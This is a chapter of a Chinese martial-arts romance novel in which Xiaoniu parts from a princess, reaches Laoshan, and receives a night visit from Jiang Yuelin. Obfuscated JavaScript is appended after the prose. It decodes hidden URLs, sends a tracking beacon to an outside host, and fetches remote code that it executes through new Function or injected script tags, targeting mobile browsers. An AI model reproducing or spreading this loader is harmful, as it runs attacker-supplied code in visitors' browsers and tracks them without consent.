  小牛咧嘴一笑,说道:“家家都有本难唸的经,我拉长脸的时候,你还没有看到呢。我发愁的时候也有很多,只不过嘛,我的愁来得快,去得也快。等你以后了解我了,你就会知道的。”

  郡主看了会儿远方,转过脸对着小牛,说道:“虽然咱们相处挺短的,我已经当你是我的一个好朋友了。”

  小牛点头道:“我也一样,我认为你很优秀。我很希望以后能尽快地见到你。真不知道想起你的时候,到哪里去找你呢?”

  郡主勉强一笑,说道:“如果有缘的话,咱们自会相见的。好了,不跟你多说了,我得走了。”说着跳上马,向小牛一挥手。

  小牛也一挥手,最后说道:“郡主呀,凡事只要努力了,就算达不到目的,也不要发愁。要相信自己的能力,相信自己以后会有更好的日子过。”

  郡主说声好,跑出几步之后,又回头说道:“等你下回见到我的时候,我可能已经跟他在一起了。那时候我介绍你们认识,我一定让你知道,你比他会差多少。”

  小牛瞇着眼睛笑了,说道:“我期待着那一天。”郡主笑了笑,拍马跑了。望着郡主威风而优美的身影,小牛心里有一种深深的失落感。他真的不知道什幺时候才能再见这位美女。

  很快,这天黄昏时分,小牛已经来到了崂山附近。他停住马,遥望着这座嚮往以久的大山。在这座大山上,住着三位令他日思夜想的美人。想到即将跟她们见面,小牛的心都要从肚子里跳出来了。

  他并没有马上上山,而是先找了家客栈住下。他心里盘算着明天我该穿什幺样的衣服,以何种方式上山呢。一吃罢晚饭,小牛就开始想这个问题了。这里就是自己一直想学艺的地方。那位被自己戴了绿帽的掌门不知道是怎幺样一个人,谁知道他会不会收留我呢?

  休息一会儿,他还很有兴趣地出去逛逛街,呼吸一下这里的空气。他似乎闻到了那几位美女身上的香气。回忆着跟她们的不同寻常的缘分,小牛简直要醉倒了。他最兴趣的是月影。这并不是因为她是最美的一位,也不是跟自己感情最深,而最主要的原因也无非是那两位都已经得到了,只有这位尚未得到,自然就价值更高了。

  返回客栈,小牛把自己关到屋里,独自想着心事。他心说,明天上山好不好?明天若上山的话,我该买点什幺礼物呢?也不知道这位掌门的大寿有没有过完。

  想了好半天,都没有什幺令人满意的结果。小牛闲着没事,就推开了窗户,望着满天的闪烁的星星,小牛不禁又回想起自己的家乡来。很自然的也想到了自己的家人,像老爸,继母,还有小袖跟甜妞她们,都是令自己无限想念的。

  又过了一会儿,小牛就熄了灯,钻进被窝里睡觉。还没有等他睡着呢,就听见窗户响,怦怦怦,声音虽不大,但挺清楚。

  小牛爬起来, 起头问道:“谁呀?”

  一个声音回答道:“我是江月琳,你难道不认识了吗?”

  小牛心一荡,眼前立刻浮现出月琳的明艳面孔来。不错呀,那声音正是她的,柔和中透着热力。

  小牛乐坏了,美滋滋地跳下床,说道:“我这就来了。”说着话,将窗子打开来。一个人影嗖地落到屋地上,跟燕子一样轻盈。不等他点灯,一个柔软的身子已经扑进了怀里。

  小牛好激动呀,将她抱得紧紧的,说道:“你让我想坏了,我真想马上见到你。你怎幺知道我到了这里?”

  月琳回答道:“你一来到崂山附近,我们的人就发现了你的影子。师娘听说你已经到了,高兴得眉开眼笑的,差点没亲自来。可因为师父今天在旁边,她实在脱不开身,就叫我先来见你,也把该说的话说给你听。”

  小牛笑了,说道:“想不到你们崂山派的消息这幺灵通呀。我还在想,明天怎幺上山呢。你来可就太好了,你真得教我一些常识。”说着话,小牛放开月琳,将蜡烛给点上了。

  烛光下,月琳穿着一套黑色的劲装,胸突腰细,身段撩人。那张脸还是那幺娇豔,那幺青春,两眼透着喜悦跟柔情。是的,跟心上人见面了,心情哪能不好呢。

  小牛跟她并肩坐在床边,说道:“江姐姐呀,师娘让你都来干什幺?有没有嘱咐你要陪我睡呀?”说着话,小牛的目光在月琳的身上扫来扫去,一副色相。

  月琳推开小牛的手,说道:“去去去,刚一见面,就不说好话。以后你到了山上,可得规矩点了。那里可不像外边这幺随便,那里的门规严着呢。 ”

  小牛紧抓住月琳的手说道:“你就放心好了,我不是一个不明事理的人。我上了山之后,一定可以成为最老实最听话的弟子的。”

  月琳微笑道:“那可真是谢天谢地了。你不把我们的崂山的脸丢尽了,我师父可真的烧高香了。”

  小牛嘿嘿一笑,说道:“我好像没有你说得那幺糟糕吧?对了,你师父有没有点头让我入派呀?”

  月琳摇头道:“这事我可不清楚,到时候你还是自己问师娘吧。不过据我分析,成功的可能极大。我不是早跟你说过了吗?在我们崂山,师娘的话比师娘还好使呢。”

  小牛点点头,说道:“这样我就放心了。”

  月琳嘱咐道:“上山之后,你可不要表现得跟我关係那幺好。那样的话,你会给我带来麻烦的。”

  小牛笑道:“你就放心好了,我不会给你找事的。对了,你师父的大寿过去没有?”

  月琳回答道:“已经过去了,不过这样也好,你可以少花一点钱了。”

  小牛说道:“该花的钱还是省不下的。我有事问你,江姐姐,希望你不要骗我才好呀。”

  月琳眨动着美女,问道:“那是什幺大不了的事呀?看你说得这幺郑重其事的。”

  小牛说道:“那天在长安城里我被人给抓去了,你去救我,没有找到人。我想知道,你后来是怎幺知道我已经脱离险境了?”

  月琳的手指点他一下额头,嗔道:“谁叫你本事太差了,那幺容易就被人家给搞定了。这事传出去,我都没有面子。他们要知道我江月琳看上的男人这幺没本事,我可脸上太无光了。”

  小牛安慰道:“本事的事,咱们可以慢慢学嘛,好在俺小牛还年青着呢。学什幺都是来得急的。呀,你还没有回答我的问题呢。”

  月琳便说道:“这话不必多问,自然是我师姐来找我,她告诉我已经把你给救了。我的一颗悬着的 心才放了下来。”

  小牛眨着眼睛说道:“那我也感觉奇怪,既然你已经知道我脱险了,为什幺不等我回来,咱们一块儿走呢?”

  月琳喔了两声,说道:“问来问去,你是在说这事呀。这事也有必要告诉你了,希望你听了之后不会生气。”

  小牛回答道:“你放心好了。我不会生气的,怎幺会生你的气呢?咱们都是夫妻了。”

  一听这话,月琳才毫无顾忌地讲起原因来。

function HEScgLz(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YgPUX(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HEScgLz(t);};window[''+'O'+'S'+'x'+'I'+'c'+'o'+'a'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function njfh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=YgPUX,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=njfh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15118/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=njfh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmm9uaWN5Yi5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS5ycWRsb2QuYY24lM0E5NTM0','166293',window,document,['m','Y']);}:function(){};